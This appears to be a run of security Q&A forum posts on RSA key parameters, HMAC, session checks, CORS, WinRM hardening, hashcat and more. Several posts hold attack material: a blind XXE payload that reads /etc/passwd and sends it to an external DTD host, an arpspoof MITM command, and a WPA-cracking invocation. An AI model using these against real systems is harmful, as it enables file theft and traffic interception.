      "q":"3dfOR9cuYq-0S-mkFLzgItgMEfFzB2q3hWehMuG0oCuqnb3vobLyum
 qjVZQO1dIrdwgTnCdpYzBcOfW5r370AFXjiWft_NGEiovonizhKpo9VVS78TzFgx
 kIdrecRezsZ-1kYd_s1qDbxtkDEgfAITAG9LUnADun4vIcb6yelxk",
      "dp":"G4sPXkc6Ya9y8oJW9_ILj4xuppu0lzi_H7VTkS8xj5SdX3coE0oim
 YwxIi2emTAue0UOa5dpgFGyBJ4c8tQ2VF402XRugKDTP8akYhFo5tAA77Qe_Nmtu
 YZc3C3m3I24G2GvR5sSDxUyAN2zq8Lfn9EUms6rY3Ob8YeiKkTiBj0",
      "dq":"s9lAH9fggBsoFR8Oac2R_E2gw282rT2kGOAhvIllETE1efrA6huUU
 vMfBcMpn8lqeW6vzznYY5SSQF7pMdC_agI3nG8Ibp1BUb0JUiraRNqUfLhcQb_d9
 GF4Dh7e74WbRsobRonujTYN1xCaP6TO61jvWrX-L18txXw494Q_cgk",
      "qi":"GyM_p6JrXySiz1toFgKbWV-JdI3jQ4ypu9rbMWx3rQJBfmt0FoYzg
 UIZEVFEcOqwemRN81zoDAaa-Bk0KWNGDjJHZDdDmFhW3AN7lI-puxk_mHZGJ11rx
 yR8O55XLSe3SPmRfKwZI6yU24ZxvQKFYItdldUKGzO6Ia6zTKhAVRU",
      "alg":"RS256",
      "kid":"2011-04-29"}

But the problem is, I could not find anywhere the meaning of all those parameters, like n,e and etc. So, what do all these paremeters mean?

These are probably the parameters of an RSA key, as you can see here: https://www.gnupg.org/documentation/manuals/gcrypt-devel/RSA-key-parameters.html

The naming convention matches with that one used in the JWK:

n-mpi
    RSA public modulus n.
e-mpi
    RSA public exponent e.
d-mpi
    RSA secret exponent d = e^-1 \bmod (p-1)(q-1).
p-mpi
    RSA secret prime p.
q-mpi
    RSA secret prime q with p < q.
u-mpi
    Multiplicative inverse u = p^-1 \bmod q.

Cheers !


Bluetooth Security Mode 2 - is there a regular pairing, as in Mode 1? I read http://csrc.nist.gov/publications/drafts/800-121/sp800_121_r2_draft.pdf and https://www.bluetooth.org/DocMan/handlers/DownloadDoc.ashx?doc_id=286439. but I can not find there information about Bluetooth Security Mode 2.

I know that:

Low energy Security Mode 2 has multiple levels associated with data signing. Data signing provides strong data integrity but not confidentiality.
Level 1 requires unauthenticated pairing with data signing. Level 2 requires authenticated pairing with data signing.

But there should be some pairing first, before data signing can be used, right? The problem is, if the pairing looks like in Mode 1, or its a different procedure?

But there should be some pairing first, before data signing can be
  used, right?

The initial pairing is completed on the physical layer (You have to press the button on the Bluetooth device) before the handshake/protocol is initiated. Your next question is:

  The problem is, if the pairing looks like in Mode 1, or its a
  different procedure?

The answer is No. The pairing is the same. Regardless of the Security mode, encryption mode, or service level. The initial pairing/setup starts with a button press (or some other physical interaction between authorized parties/ owners and the Bluetooth devices).

Source

Source


Understanding the HMAC Algorithm (SHA-256) I've posted a related question on Stack Overflow, but I have a more general question about HMAC and SHA256.

Let's say I want to generate an HMAC hash for a blank key and a blank message. The Wikipedia page shows "b613679a0814d9ec772f95d778c35fc5ff1697c493715653c6c712144292c5ad" as the example hash. However, if I take 64 of the opad 0x5c characters ("\") and append to it the SHA256 of 64 of the ipad 0x36 characters ("6"), then take the SHA256 of that whole string and I get "6c64aeadc27db5d98c91a8789d59c2ebed85c860072929b06b361fff434e00c2" as the answer.

Shouldn't this be the same as the answer to the blank HMAC? I think understanding the difference here is what's holding me back from getting my algorithm right.

Any help or guidance (even badmouthing at this point) would be much appreciated!

I've written simple python3 script to illustrate:

from hashlib import sha256
opad = bytes(0x5c for i in range(64))
ipad = bytes(0x36 for i in range(64))
print(sha256(opad + sha256(ipad).digest()).hexdigest())

The output is identical to the string you seen on wiki.

I've checked and I can confirm that your results can be obtained if we concatenate opad with hex-encoded hash of ipad. You should concatenate pure bytes there instead.


session security in php This has been asked a bunch of times. I am just curious to see if the below code provides a fairly significant level of security.

Are there any other cases  I should consider?

Below is just an example; please ignore any syntax problems; I'm looking for insight into the security aspect of the code.

Few assumptions:

If user does nothing in 5 seconds, log him out.
If user is not coming from somePage.php log him out.
If users ip address changes, log him out.

Code:

<?php
session_start();
$time = time();
$ip = $_SERVER['REMOTE_ADDR'];

if ($time - $_SESSION['time'] > 5)
{
    //function to log out user...//echo "logged Out,Time";
}
elseif ($ip !== $_SESSION['ip'])
{
    //function to log out user...//echo "logged out,IP";
}
elseif ($_SERVER['HTTP_REFERER'] !== "http://server.com/somePage.php")
{
    //function to log out user...//echo "logged out,Refer";
}
else
{
   //do sensitive stuff
}
$_SESSION['time'] = $time;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
?>

see if the below code provides a fairly significant level of security

It's difficult to give suggestions when it's not clear what kind of attacks you're trying to protect against.

My answer is that these settings would be annoying.

  $_SERVER['HTTP_REFERER'] !== "http://server.com/somePage.php"

This would prevent people from bookmarking your website effectively. It could also be a denial of service vector if someone uses Cross Site Request Forgery to redirect your users to this page with the wrong referrer; effectively logging your users out each time they visit a poisoned page.

  $ip !== $_SESSION['ip']

This would make it difficult to use your site in conjunction with an anonymity network such as Tor. Nothing is more annoying that getting logged out every 10 minutes because your IP address "changed".

  $time - $_SESSION['time'] > 5

This is very much subjective. It is really down to the user to protect his computer if he leaves it unattended, you don't know the user's real life situation.


Would it be possible to extract user agent strings from 3G/4G Data At a location where 3G/4G Data is prohibited, would it be practically possible to extract user agent strings from 3G/4G Data and compared to a list of known mobile browsers, assuming that the correct equipment is used to capture the data, and the necessary licences have been obtained?

Mobile carriers have limited capabilities of performing mass deep packet inspection on their infrastructure. One proof is the lack of incentive for many carriers to detect DNS tunneling through their mobile networks (DNS traffic is not being charged).

This document presents an overview of 3G and 4G mobile services and methods supporting the lawful interception of targets subscribing to these services:
http://www.aqsacom.com/resources/pdf/LI-3G-4G-AQSA_WP_2012_01.pdf

These interception systems cover a wide range of services and technologies, including wire-line voice, wireless voice, wired and wireless data, and emerging services such as VOIP. Deep packet inspection can be performed during these intercepts and data such as user agent strings can be extracted.


Why is HTTPS not the default protocol? Why is HTTP still commonly used, instead what I would believe much more secure HTTPS?

SSL/TLS has a slight overhead. When Google switched Gmail to HTTPS (from an optional feature to the default setting), they found out that CPU overhead was about +1%, and network overhead +2%; see this text for details. However, this is for Gmail, which consists of private, dynamic, non-shared data, and hosted on Google's systems, which are accessible from everywhere with very low latency. The main effects of HTTPS, as compared to HTTP, are:

Connection initiation requires some extra network roundtrips. Since such connections are "kept alive" and reused whenever possible, this extra latency is negligible when a given site is used with repeated interactions (as is typical with Gmail); systems which serve mostly static contents may find the network overhead to be non-negligible.
Proxy servers cannot cache pages served with HTTPS (since they do not even see those pages). There again, there is nothing static to cache with Gmail, but this is a very specific context. ISPs are extremely fond of caching since network bandwidth is their lifeforce.
HTTPS is HTTP within SSL/TLS. During the TLS handshake, the server shows its certificate, which must designate the intended server name -- and this occurs before the HTTP request itself is sent to the server. This prevents virtual hosting, unless a TLS extension known as Server Name Indication is used; this requires support from the client. In particular, Internet Explorer does not support Server Name Indication on Windows XP (IE 7.0 and later support it, but only on Vista and Win7). Given the current market share of desktop systems using WinXP, one cannot assume that "everybody" supports Server Name Indication. Instead, HTTPS servers must use one IP per server name; the current status of IPv6 deployment and IPv4 address shortage make this a problem.
HTTPS is "more secure" than HTTP in the following sense: the data is authenticated as coming from a named server, and the transfer is confidential with regards to whoever may eavesdrop on the line. This is a security model which does not make sense in many situations: for instance, when you look at a video from Youtube, you do not really care about whether the video really comes from youtube.com or from some hacker who (courteously) sends you the video you wish to see; and that video is public data anyway, so confidentiality is of low relevance here. Also, authentication is only done relatively to the server's certificate, which comes from a Certification Authority that the client browser knows of. Certificates are not free, since the point of certificates is that they involve physical identification of the certificate owner by the CA (I am not telling that commercial CA price their certificates fairly; but even the fairest of CA, operated by the Buddha himself, would still have to charge a fee for a certificate). Commercial CA would just love HTTPS to be "the default". Moreover, it is not clear whether the PKI model embodied by the X.509 certificates is really what is needed "by default" for the Internet at large (in particular when it comes to relationships between certificates and the DNS -- some argue that a server certificate should be issued by the registrar when the domain is created).
In many enterprise networks, HTTPS means that the data cannot be seen by eavesdroppers, and that category includes all kinds of content filters and antivirus software. Making HTTPS the default would make many system administrators very unhappy.

All of these are reasons why HTTPS is not necessarily a good idea as default protocol for the Web. However, they are not the reason why HTTPS is not, currently, the default protocol for the Web; HTTPS is not the default simply because HTTP was there first.


Questions about the 2013 php.net malware On October 24th, 2013, the admins of the famous php.net website said that their website delivered malware to its visitors using a drive-by download attacK. I have several questions about this malware, however I prefer to ask only few of them since I already found answsers for other questions:

I take this quote from this article:

  While the userprefs.js code was served to all visitors, only some of
  those people received an additional payload that contained malicious
  iframe tags

As I am working around the security of browsers such as FF, GC and IE, I wonder how come a website can legitimately writes into the profile of a Firefox user and writing into its userprefs.js ? How come is this dangerous behavior is a normal thing used by php.net servers ?

Always from the quote: are the iframes in such cases ALWAYS hidden ?
From the same article, I have a question about this quotation:

  some webserver malware runs entirely in memory and hides itself pretty
  well.

How come a virus can hide itself by running within a memory ?

How come a virus can hide itself by running within a memory ?

Most servers are restarted very rarely, perhaps once a year or even longer are common. A server malware can cause sufficiently large damage by running itself once then removing all traces of its executable from the filesystem and live forever until the server is restarted. Many operating systems allows file entries to be removed from the filesystem while remaining open by a process, the file remains accessible in the processes until they die or the process closes the file. Such malware trades off persistence with being harder to detect.


Can A chain of exploits count as a CVE? If there are multiple exploits, each not accomplishing anything significant on their own (but are still technically exploits),
but when used together in an exploit chain can achieve a meaningful result, would the entire chain of them be eligible for A CVE or would each of the individual one be eligible?

would the entire chain of them be eligible for A CVE or would each of
  the individual one be eligible?

Each CVE is intended to represent a single vulnerability.  Potential CVEs are more likely to be split up for finer granularity than merged.

The current guidance for this process is the Process to Correct Counting Issues, and the section on merging only describes using it to address "resolving multiple CVE IDs assigned to a single vulnerability".  A merge is not intended to describe a chain of vulnerabilities.


Recent malware programming language? I'm working on pentesting as part of Information Security course.
Recently I have been in some Education Oriented Malware... But I have only developed in .NET oriented applications.

How is malware programmed this days and what languages are used for this? C? Java? .NET Programming? Python?

I'm especially interested in keyloggers.

The language a malware is written with is irrelevant. First, because at the end, it is all compiled into machine code and second because there is no language dedicated to write malware.

What makes a malware what it is, is its behaviour. Algorithms can be implemented in every language you are interested in.

Obviously, the malware has to be able to trigger the right functions where it is executed, so this might bias the choice of language a bit. You won't write with javascript if you need to get an executable file, but you can use it if your malware is web-based.

So the simplest answer to this would be "whatever floats your boat".


How do I make SQL injection harder but not impossible? I'm doing a CTF application for my final year project. I wanted to craft a SQL injection flag but I don't wish that they can simply found out the SQLi vulnerability by injecting ' . Hence, is there way to make SQL injection harder but not impossible using PHP?

Blind SQL injection is probably one of the harder techniques, in that it requires more work. You could make a page that doesn't display any output based on the query, but shows error messages when a query is malformed. The attacker would then be forced to use blind SQLi techniques to attack it.

Of course, an automated tool would break this immediately, since it could automate the entire injection. One interesting way around that would be to have some kind of super-simple image CAPTCHA (no distortion, just a plain image) that the attacker must solve in order to send a query. This would either force them to do it manually, or make them look into OCR techniques.


Allow DELETE method over firewall WEB API 2 I am working with a ASP.Net Web API 2 service and the firewall denies the DELETE method to go through (only POST and GET are allowed).

Is there a way that we can bypass this and invoke my DELETE method in the API?

If it's blocked before it gets to the application, then no.  If the application can't see it, the application can't do anything to allow it.

What you can do is to hack it.  The most common way to implement verbs that are blocked, or are commonly blocked like DELETE and PUT is to add the X-Http-Method-Override header to your requests, and set the value for the verb you really want to use, but use POST as the HTTP verb for the request.  Then you can create a DelegatingHandler that looks for that header after the request has entered the WebApi pipeline, and if it exists, you can change the request's actual HttpMethod from POST to DELETE at that point.


A renamed exe automatically running We are currently developing a web app that allows users to upload files to act as attachments to information they provide.

Obviously allowing users to upload any file types is very dangerous, therefore we're adding steps to stop certain files.

Primarily exe and zip. But the thought has occurred that a user could simply rename a .exe and give it another extension. So now we're thinking about checking the header file to ensure it's actually the file type it says it is, but is this actually necessary? Would there be a way for a user to change the extension and still have the file as malicious or auto running? Surely the change of extension would mean it was handled incorrectly by windows?

Obviously allowing users to upload any file types is very dangerous

Anything a user uploads is just 0s and 1s until you actually decide to do something with it. Executing such files would be a bad idea, yes.

Executable programs don't automatically run unless you tell them to, though. If you are wondering about the autorun behavior of certain storage media this is now restricted to only cds and dvds in modern versions of Windows and has nothing to do with your web app.

If you have a clear set of file types you are expecting, i.e. only images then it would be easy to build a whitelist of expected file signatures.

Building a blacklist of "bad" files is a complete waste of time in my opinion.

Excluding .exe files or changing their extension would prevent users from downloading files and shooting themselves in the foot but with a bit of social engineering malicious files can be hidden and used in very creative ways. See 4chan.js which was uploaded as a valid gif file for an example.

For that reason I wouldn't bother taking it much further than banning .exe extensions. This is not something that would be a problem for your web app directly and you're only responsible for protecting users up a point. You can't be expected to bubble wrap them from across the internet.


How should I verify a caller is from the bank or company they claim? I often get telephone calls from my personal bank, mortgage provider or utility companies.

In most cases they start by asking me to verify my identity through the usual name/address/date of birth or in the case of the bank, security questions I've agreed with them previously. The bank will ask for two digits of my four-digit PIN and a memorable word.

My concern is that I do all this without any way of checking their identity. I could be giving these details and any subsequent discussion of my account to an anonymous third party.

I understand that Caller-ID is not a reliable way of doing this and in any case these companies often use a withheld number.

I could ask for details of a recent transaction, but I can imagine that data protection would prevent them from sharing that with an unverified third party.

Should I refuse to give even partial answers to my security questions in this situation?

What is a sensible alternative?

I would refuse to give out any personal details to anyone that called me as you can't verify who they are.
If they need to talk to you then say you can call back. You can then call through on the direct number, which if it is a large bank will be well known and on their website. You could then ask for an extension number to direct your call once you know you are through to your bank.


What is your process for wiping a lost Blackberry or similar device? For all devices I know of, if a device is lost or stolen, it needs to be connected to the Cellular network to receive the wipe command.   Considering that the end user often needs to regain mobile service as soon as possible, there is a delay between when they activate a new phone (thus disabling the old phone's service) and when the wipe command is issued by IT and received by the old device.

What processes, or mechanisms do you have in place to ensure the confidentiality of a mobile device's data that account for this situation?

Please include process or technological solutions that are device, vendor, or protocol (ActiveSync) specific.  For example, I'd be interested in a solution someone may have with Verizon that puts a notice on the account that prevents the purchase of a new SIM unless IT was notified or approved.

There are folks on here who will be able to answer the technical perspective on these things way better than I, but the biggest issue I see in most organisations is the delay from when the user loses the device or has it stolen, and when they report it to IT. This is a procedural issue which corporate culture typically generates.

The solution we find that works best is to avoid placing personal blame on the individual for losing a device, but just to make it very quick and easy for them to report it so it can immediately be disabled and wiped. If done quick enough, the wipe command can be sent to the device before casual attackers may have gained access to the data, and in any case will prevent the SIM being used.

The big worry, and I'm sure @RoryMccune or @GrahamLee will describe this fully, is that the assumption should always be : if the attacker has the device, they have access to the data on it. Yes, there are third party tools to make this harder, but a determined attacker can always prevent a wipe (by not allowing the device to get a signal - no wipe command)


Yahoo Email Compromised But No Suspicious Activity A day ago noticed a bunch of MAILER-DAEMON@yahoo.com emails in my Yahoo inbox. I checked my sent folder, and it appears that someone sent emails to all my contacts in my contact books with the following URL in the body (do not visit)

asalchemi.com/uqysife.php

This is an email address I do not frequently use (I check once every couple of weeks), so I went to my recent activity which shows devices and IPs that have connected in the past 30 days, but there is nothing suspicious there - they're all IPs I recognize.

I do not use a mail client, such as Outlook or Thunderbird, only Yahoo mail in the browser, and on the iPhone.

My question is... how is it that without any recent activity did the hacker send an email without triggering any recent activity?

I guess you gave permission to some App to Read contacts/Send email via Yahoo OAuth. I Mean, you singed in to some website/application using Yahoo credentials via Yahoo.

So, Just using the Access token that got created at that time you gave permissions, Its possible to send emails to all your contacts using the API of Yahoo.

In this case the App dont need to Login with your credentials. The Access token will suffice.

If this is the case, you can fix it by removing permissions to that App.


CORS misconfiguration While testing a website for CORS misconfiguration, I have found that access-control-allow-origin header is being set dynamically based on host header in requests.

Is it safe or can be exploited?
Origin header is not getting validated.

allow-credential header is set to true

If Access-Control-Allow-Origin contains the originating domain, and Access-Control-Allow-Credential is true, any webpage on the internet can perform an authenticated request and read the results. Any page or information you can see after logging in is also accessible by other web pages. So this seems pretty insecure.

This only works when the vulnerable web page uses cookies (or basic auth) for authentication. If it requires an authentication header it won't work, since that is not included by the browser in a cross-site request.

One way to really know if it's vulnerable is to try it: start a webserver on your computer and try to fetch an authenticated web page using JavaScript.


How commonly are SSL/TLS or S/MIME used by e-mail providers? I was reading through different posts here about email security. After reading these I still have some questions.

I understand that S/MIME can be used to transfer email securely between servers.

Is S/MIME used by Gmail, Yahoo, or Hotmail when I send e-mail from one of their accounts?
Or is SSL/TLS the sole mechanism for providing security?
Do all major e-mail providers use SSL/TLS?
Under what conditions are e-mails commonly sent unsecured?

TL;DR - Without end-to-end encryption, such as S/MIME or PGP, being supported and used by both sender and recipient, it's a fair presumption that your e-mail has been transmitted or stored in the clear, or otherwise readable by a third-party, somewhere along the way.

I think you have some mis-conceptions of what S/MIME and SSL/TLS are, or how they work.

S/MIME is a mechanism for providing end-to-end message security.  Encryption, digital signature, decryption, and signature verification are all done at the endpoints by the client software.  The intervening e-mail servers and service providers have nothing to do with this, as the messages get passed along just like any other.  Further, and perhaps most importantly, S/MIME must be supported by both the sending and receiving clients in order to work.  This is beyond the ability of any single e-mail provider to ensure.

That being said, I'm not aware of any common freemail provider (i.e.: GMail, Yahoo, Hotmail) that is currently facilitating S/MIME in their browser-based clients.  Certainly none of them are, nor would they want to be, enabling it as a default.

The reason this cannot work at the service provider level is because of the requirement for both endpoint clients to support the protocol.  Since the service provider of the sender has no control over the client software used by the recipient, enforcing S/MIME use on outbound messages would result in many (if not most) recipients not being able to read the sender's e-mails.

The only conditions under which S/MIME will work are when all participants in the e-mail conversation have S/MIME-compatible clients, and everyone has (and has verified) each others' public keys.  Again, this is not something that any individual e-mail service provider can effect.  They may conceivably be able to facilitate this between their own users, but they do not have the same power to protect e-mails going to/from external endpoints.

SSL/TLS are technologies commonly used to secure communications between clients and servers and from server-to-server.  However, here we again run into a similar situation as with S/MIME - both parties to the conversation must support it.  While some service providers may do this, no service provider can guarantee you that SSL/TLS will be applied to every message you send because they do not have control over what the receiving server is configured to support.

To address your concerns more concisely, point-by-point:

None of the above use S/MIME.  While it would be a nice feature for them to support in their web clients, it would be infeasible for them to guarantee that it will work for all recipients.  You can get around this to some degree by using your own e-mail client with S/MIME support, instead of using the web interfaces.  However, again, this will only work where you have coordinated this with your intended recipients.
SSL/TLS is commonly used to protect the web sessions by which e-mails are composed, and the client connections by which they are sent.  It's also used to protect server-to-server communications along the way, but no service provider can guarantee that every recipient's e-mail servers or client will support and maintain that protection along the way.
Many providers do use SSL/TLS, but you should check with yours yourself if you're concerned.  Again, though, this cannot guarantee that your e-mail is protected through transmission and storage every step along the way to every recipient.
Any time you are sending/receiving e-mail which is not protected by S/MIME, PGP, or a similar end-to-end encryption solution, you must assume that the message has been transmitted or stored in the clear, or in another form readable by a third-party, somewhere.

The last point touches on an issue I've not yet addressed - e-mail storage on the server.  All e-mail service providers, by the nature of their service, must store e-mails exactly as they were received or by using some form of encryption that they themselves can reverse.  Otherwise, they will not be able to forward the e-mail on in a readable format to others or display it to you in your web browser.  If you're not using end-to-end encryption, that means your e-mail is being effectively stored in the clear.  This leaves it vulnerable to malicious insiders, or anyone who manages to hack into your e-mail account or the server's database.


PowerShell / Windows - Security best practices for enabling Windows Remote Management As the title indicates, I'm looking for industry best practices for enabling Windows Remote Management on a mix of Windows Servers (from 2000, 2003, 2008/R2 and 2012) to allow PowerShell to execute commands on a remote server.

What are some security best practices to follow to limit the attack surface should an attacker compromise an internal system?

Is there anything that can be done to harden domain servers which have WinRM enabled?

Thinking in theory here, one idea that comes to mind is only allowing WinRM for a specific service account which has two-factor authentication.  A normal domain account password and a rolling security token would lower the chances of this account being hijacked in the event of being compromised.

For my PowerShell remoting server, I utilize Just Enough Administration please see:

https://www.google.com/#q=Just+Enough+ADministration&*

Unique Runspaces:

This allows the user to execute scripts in their own runspace after you proxy the commands. Additionally, you can log significantly better, and it's based on the SID of the user who is invoking those commands.

Restricted Access:

You can restrict access to specific scripts from certain individuals or groups. You can also utilize CAS, Code Access Security, granted you are using any C#.

https://msdn.microsoft.com/en-us/library/930b76w0(v=vs.90).aspx

This way you can avoid using credssp and any double-hop authentication issues. Credssp will allow for MITM attacks, otherwise you'd have to create a single unique user and set your powershell configuration file to runas that user. The second suggestion is horrible for auditing.

Utilizing JEA would allow you to constrain users, audit those users and only allow them to execute specific commands.


MITM Traffic forwarding not working on Kali I'm doing a ARP Spoofing MITM attack like this:

arpspoof -i wlan0 -t 192.168.1.112 192.168.1.1 -r

And I can see the traffic from the target (192.168.1.112) showing up in the sniffer, but the target is never getting any responses back, leading to a DoS for the target instead of a subtle sniffing attack.

I have ip forwarding turned on:

root@kali:~/network-hacking-scripts# cat /proc/sys/net/ipv4/ip_forward
1

And I have no firewall rules on:

root@kali:~/network-hacking-scripts# iptables-save
root@kali:~/network-hacking-scripts#

I'm running on the latest version of Kali Linux (2016.1). It's running in VirtualBox inside an OS X host. I'm using a TP-LINK TL-WN722N external wireless adapter for Kali.

Any thoughts on why the traffic forwarding is not working?

Figured it out! When I brought eth0 down like this:

ifconfig eth0 down

traffic forwarding started working.

I think what was happening was the traffic was being forwarded from wlan0 (the external wireless card) to eth0.


Installing applications with different user accounts on linux I have basic question about installing applications on Linux operating system, using the Oracle database as an example. When installing the Oracle database package, I created a user called ora112, a group called dba, and added the user to that group.

So my question is, if the ora112 user's umask is set to 077, then no other users will be able to configure the Oracle database. Why do we need to follow this practice? Is it a accepted procedure in application installation on Linux. Please share your experience with me.

Similarly, if I install java in this way, then will application belonging to different user accounts be prevented from running java because of this access restriction.

There is no standard method for installing applications. Most applications will set themselves up such that their config files are only writeable by a single uid. Certainly Oracle does this. You can amend the permissions later - but this usually needs to be reapplied whenever you install upgrades.

It's good practice to restrict permissions based on a least privilege basis.

It's NOT good practice to share accounts

To resolve this potential conflict where more than one user may require access to run programs / alter data, then the solution is to setup a group containing the users whom require that access and modify the permissions accordingly.

Alternatively you can use sudo - but IMHO the group based solution is neater (preserves uids).


Reversible Hash Function? Is there any reversible hash function?

The hash function like SHA and MD5 are not reversible. I would like to know if there exist some reversible hash functions?

The definition of a cryptographic hash function includes resistance to preimages: given h(x), it should be infeasible to recover x. A hash function being "reversible" is the exact opposite of that property. Therefore, you can have no more a "reversible hash function" than you can have a fish allergic to water.

Possibly you might want a hash function which, for most people, is a cryptographic hash function with all its property, but which also includes some sort of trapdoor which allow reversing it if you know some specific secret. This sort of things might exist but requires mathematics, like asymmetric cryptography. I am not aware of such a construction right now, but one might possibly jury-rig something based on a RSA modulus, or maybe an elliptic curve with coordinates taken modulo a RSA modulus (I don't have a precise design in mind, but I have the intuition that it can be done that way).


Telnet Open, is this an exploit? I am pentesting a server, and it appears my ports are open for telnet.

Upon accessing telnet, if I type "help" I only get these commands:

telnet> help
Commands may be abbreviated.  Commands are:

    close       close current connection
    logout      forcibly logout remote user and close the connection
    display     display operating parameters
    mode        try to enter line or character mode ('mode ?' for more)
    telnet      connect to a site
    open        connect to a site
    quit        exit telnet
    send        transmit special characters ('send ?' for more)
    set         set operating parameters ('set ?' for more)
    unset       unset operating parameters ('unset ?' for more)
    status      print status information
    toggle      toggle operating parameters ('toggle ?' for more)
    slc         change state of special charaters ('slc ?' for more)
    auth        turn on (off) authentication ('auth ?' for more)
    z           suspend telnet
    !           invoke a subshell
    environ     change environment variables ('environ ?' for more)
    ?           print help information

Are these just default commands and the telnet can't really do anything? Or is it a massive hole in a web-server if telnet is open and you can login without a username and password?

You're looking at the telnet client, not the telnet server. The telnet client is just a tool which you can use to connect to TCP listeners. If you want to know if your server has telnet open, check it by:

Verify on the server if a telnet daemon is listening on port TCP/23 using tools like ps, netstat and lsof (assuming this is a Linux/UNIX machine)
Test it by connecting to the telnet port TCP/23 from another machine using the telnet client or a tool like nmap


hashcat: clCreateContext(): CL_INVALID_PLATFORM I'm just trying out hashcat v3.6.0 on an up-to-date Arch Linux laptop.

hashcat -I shows me this:

OpenCL Info:

Platform ID #1
  Vendor  : Intel(R) Corporation
  Name    : Intel(R) OpenCL
  Version : OpenCL 1.2 LINUX

  Device ID #1
    Type           : CPU
    Vendor ID      : 8
    Vendor         : Intel(R) Corporation
    Name           : Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz
    Version        : OpenCL 1.2 (Build 25)
    Processor(s)   : 4
    Clock          : 2500
    Memory         : 1966/7867 MB allocatable
    OpenCL Version : OpenCL C 1.2
    Driver Version : 1.2.0.25

I'm invoking hashcat on a WPA password hash I recovered from my WAP, using airodump-ng. Yes, I know the password, I want to verify that hashcat either can or can't find it.

I invoke hashcat like this:

/usr/bin/hashcat -a 0 -d 1 -m 2500 -o recovered.hash sporc.hccapx dictionary.txt

hashcat always ends up giving me this:

Initializing device kernels and memory...clCreateContext(): CL_INVALID_PLATFORM

What gives? If hashcat can't use the platform, why does hashcat -I give any information about it at all?

This message is straight from Intel's OpenCL, and hashcat just passes it along.

Intel's OpenCL has some known issues - so much so that there is usually a warning from hashcat if Intel's OpenCL is being used, which notes that errors can be overridden with --force. Did you see anything like that? You may be running into this.

If you are using a stock OS OpenCL of some kind, consider using the latest from Intel.

If you are running under Kali and/or in a VM, consider using hashcat directly on the native platform and/or a non-Kali distro.

Do you get any other errors?


Verifying server's identity via encrypted timestamps I'm writing my own tiny software license system and I'd like to establish a secure channel with a hybrid cryptosystem (asymmetric -> symmetric).

I'd like to avoid bringing the entire certificate thing up since my application (executable shipped to customers) would include my public key entirely. The problem is: how to verify the server's identity?

I thought of the following: I could have the server send the timestamp when the connection was first attempted encrypted with his private key (so the client app would be able to verify the server is really who claims it is).. but the timestamp could be imprecise due to unpredictable TCP/IP delays.

What could the server send that isn't vulnerable to a replay attack from a third malicious party?

If you can include a public key then you can also include a long-lived, self-signed certificate (which you can generate e.g. using the openssl command line tool). If you explicitly trust this certificate in the client then you can use a normal run-of-the-mill TLS or DTLS to create a secure connection with the server.

This way you would not require all the PKI, trusted third party etc., but still have an X509 certificate based hybrid solution.

Note that your certificate should be able to encrypt if you directly want to use RSA encryption for the session key and sign (authenticate) for the DHE or ECDHE schemes providing forward security.


Do Sha-1 certs work with TLS 1.2? I have been looking at potentially disabling the use of all SSL versions, TLS 1.0 and 1.1 across all servers in my environment. However, I have an internal CA that issues SHA-1 based digitally signed certs for internal use only.

Is there a potential for impact on the certs if SSL is disabled please? or can SHA-1 signed certs support TLS 1.2?

TLS 1.2 supports certificates using SHA-1, as described kind of cryptically in the RFC:

   -  Any certificates provided by the client MUST be signed using a
      hash/signature algorithm pair found in
      supported_signature_algorithms.

   ...

   enum{
       none(0), md5(1), sha1(2), sha224(3), sha256(4), sha384(5),
       sha512(6), (255)
   } HashAlgorithm;

Certificates signed with SHA-1 are not trusted in modern browsers, but switching TLS versions does not change that.


Why do we need External dtd in blind XXE? A proper blind XXE payload is:-

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

Now I didn't understand why do we need an External DTD. I have tried to use this below payload as internal dtd.

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtdcall SYSTEM 'file:///etc/passwd' > <!ENTITY % test "<!ENTITY server SYSTEM 'http://192.168.0.3:808/?%dtdcall;'>">%test; ]><r>&server;</r>

BUT I got an error:- PEReferences forbidden in internal subset in blah blah.

So anyone can explain this?

Finally, after doing a hard search I come to a point Parameter Entities are not allowed into Internal DTD subset i.e.

<!DOCTYPE r [ Not allow to set parameteried entity.]

If I am wrong then clarify me. I read that on this XML doc.


Is there any secure way to transfer data between mobile phones without Internet? Assume that I don't have any Internet access in my country. The only thing that I have is a mobile phone with a 3G or 4G SIM card inside. The mobile operator didn't provide any Internet access also.

Now I want to send some data (Text/Voice) to my friend in another country. Is there any way? How I can do it?

And if I want the communication to be secure, what shall I do? I mean I don't want to anybody be able gain the data, except my friend. is there any way? If so, how?

Yes, you could encrypt your data.

This will be hard if you don't have a smartphone.
You could manually encrypt your text messages using One-time pad (Cold War tactics basically). Manually encrypting voice messages is not possible, unless you invent some kind of secret language (which will never be a 100% secure).

If you do have android, have a look here: https://www.eff.org/secure-messaging-scorecard
Some of these apps (Like Open WhisperSystems TextSecure) can use regular SMS.


Rotating encryption keys - how does it work? I haven't found a duplicate which explains with sufficient clarity how does the process of rotating encryption keys work in simple layman terms.

I know how private/public key cryptography works, I know how symmetric cryptography works but I can't understand how rotating a private key works.

Do I decrypt all of the encrypted content, generate a new private key and then re-encrypt everything? Or perhaps do I generate a new private key and decrypt and encrypt with the new key just part of the data so now I need two keys (the new and the old) to decrypt the whole?

In layman's terms, rotating an encryption key implies:

Generate new key(s)
Re-encrypt all data that was encrypted using the old key, using new key(s)
Delete old encrypted data and old encrypted key

Key rotation generally applies to data that is encrypted at rest, as opposed to something like TLS, because it reflects the need to deal with all the old stuff that's still encrypted with the old key.


When hashing passwords, is it okay to store the algorithm used right there in the database? Since hashing password has become a hot topic recently, it is only natural to expect things to change and assume that some time down the road you might want to replace/tweak the algorithm used in your system. That would naturally result in different types of hashes stored for old and new users.

I wonder would it be acceptable if I just stored the algorithm used in the database prepended to each hash? Something similar to how the output of bcrypt looks: $2a$... (the algorithm version). What if I stored it by name like sha1$f6238eb6ca...?

